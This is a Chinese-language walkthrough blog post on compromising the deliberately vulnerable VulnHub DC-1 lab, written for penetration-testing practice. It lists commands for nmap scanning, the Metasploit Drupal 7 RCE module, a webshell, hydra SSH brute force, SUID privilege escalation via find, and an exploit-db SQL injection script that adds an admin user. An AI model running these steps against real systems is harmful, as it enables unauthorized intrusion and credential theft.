DC-1 靶機滲透
*概況*:
下載地址
https://www.vulnhub.com/entry/dc-1,292/
*官方描述:*
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

*首先將kali和靶機都連接成NAT模式,然后開啟靶機,就是上圖所示,*
*前提思路*
? *我拿到這個靶機的時候,知道了要拿五個flag,然后需要拿到最高權限,我并不知道IP,但我可以在虛擬機中查看他的mac地址,如下圖:*

00:0C:29:CF:22:14
*資訊收集*
? *用nmap -sP 引數 ping命令去掃描與kali同網段的* *存活主機,*
? nmap -sP 192.168.161.0/24 -oN nmap.sP
? *與Mac地址相對應獲得ip地址:==**192.168.161.162**==*

*埠掃描*
? *使用全埠掃描顯示詳細資訊,**TCP連接掃描**并開啟腳本* *功能,*
? *nmap -A -p- -sC -T4 -sT 192.168.161.162 -oN nmap.A*

*埠詳情*
| *22/tcp* | *open* | *ssh* | *OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)* |
|---|---|---|---|
| *80/tcp* | *open* | *http* | *Apache httpd 2.2.22 ((Debian))* |
| *111/tcp* | *open* | *rpcbind* | *2-4 (RPC #100000)* |
| *39284**/tcp* | *open* | *status* | *1 (RPC #100024)* |
*網站資訊*
? *既然開放了80埠,那么就訪問一下網站,*
? *網站首頁:*

*獲取web應用指紋以及技術架構:*

*得到資訊*
? *CMS: drupal 7 中間件:Apache*
? *編程語言: php OS:linux*
*漏洞映射*
? *既然知道了cms是drupal 7,那么可以查一下相關漏洞,*
? *在kali漏洞庫中尋找,*
? *Searchsploit drupal 7*

*發現存在sql注入,和遠程代碼執行漏洞,并且rce漏洞的exp模塊是rb腳本,所以可以考慮用msf,*
? *在msf中搜索漏洞褲:search drupal 7*
? 
*使用最新exp:use 1*
*Show option :查看引數*

*設定rhost : set rhost (kali的IP)*
*Run:開始攻擊*

*這時候成功上線,getuid:查看當前用戶*
*然后我想寫一個一句話木馬,用蟻劍連接,好翻目錄,*



*連接成功*
*在www目錄下獲取flag1*

*在/etc/passwd 中看系統用戶*

*發現存在flag4用并且在home下*
*在home目錄下發現flag4*

*然后提示有config檔案,所以就在網上查了一下drupal的默認組態檔路徑*
*/var/www/sites/default/settings.php*

*接著發現了flag2和資料庫賬號密碼,*
*然后就打算連接一下資料庫,*

*在user表中發現賬號密碼,但是密碼加了密,而且也不知道是什么加密方式,所以資料庫這里就先放下了,*
*那么既然有flag4用戶并開了ssh,所以嘗試ssh爆破,*
*使用九頭蛇爆破:*
*hydra -l flag4 -P /usr/share/john/password.lst ssh://192.168.161.162 -vV*
*-l:指定用戶名 -P:指定密碼字典*
*-vV:顯示詳細*

*得到密碼為orange*
*然后ssh連接登陸成功,*

*權限提升*
· *獲取root 權限*
*提權思路*
· *利用系統內核漏洞提權*
· *sudo 權限泄露*
· *利用SUID 提權*
*這里使用suid提權,我就簡單介紹一下:*
SUID是一種特殊的檔案屬性,它允許用戶執行的檔案以該檔案的擁有者的身份運行,
SUID是一種對二進制程式進行設定的特殊權限,可以讓二進制程式的執行者臨時擁有屬主的權限(僅對擁有執行權限的二進制程式有效),例如,所有用戶都可以執行passwd命令來修改自己的用戶密碼,而用戶密碼保存在/etc/shadow檔案中,仔細查看這個檔案就會發現它的默認權限是000,也就是說除了root管理員以外,所有用戶都沒有查看或編輯該檔案的權限,但是,在使用passwd命令時如果加上SUID特殊權限位,就可讓普通用戶臨時獲得程式所有者的身份,把變更的密碼資訊寫入到shadow檔案中,這很像我們在古裝劇中見到的手持尚方寶劍的欽差大臣,他手持的尚方寶劍代表的是皇上的權威,因此可以懲戒貪官,但這并不意味著他永久成為了皇上,因此這只是一種有條件的、臨時的特殊權限授權方法,
*首先尋找一下根目錄下具有s權限的命令:*
*find / -perm -4000 2>/dev/null*
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
*然后使用find命令提權:*
*使用方法* *find (一個路徑或檔案必須存在) -exec 執行命令 (結束);*
*find ray -exec '/bin/sh' ;*

*提權成功,然后在root檔案夾中找到flag5*

*這時候還差一個flag3,然后可以利用一下sql注入漏洞,增加一個用戶,*
*到達指定的sqlexp路徑,*
Cd /usr/share/exploitdb/exploits/php/webapps/34992.py
*查看使用方法* searchsploit -m 34992

*python 34992.py -t http://**192.168.161.163* *-u* *123* *-p* *123*
*新增用戶名123,密碼123,*

*成功登陸網站,然后隨便翻一下即可找到flag3*

*這時,我們已經拿到了五個flag和root權限,*
? *總結:這次滲透主要是想練習一下滲透測驗的一些思路,若有不足的地方請大佬們多多指導,謝謝!*
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/456192.html
標籤:其他
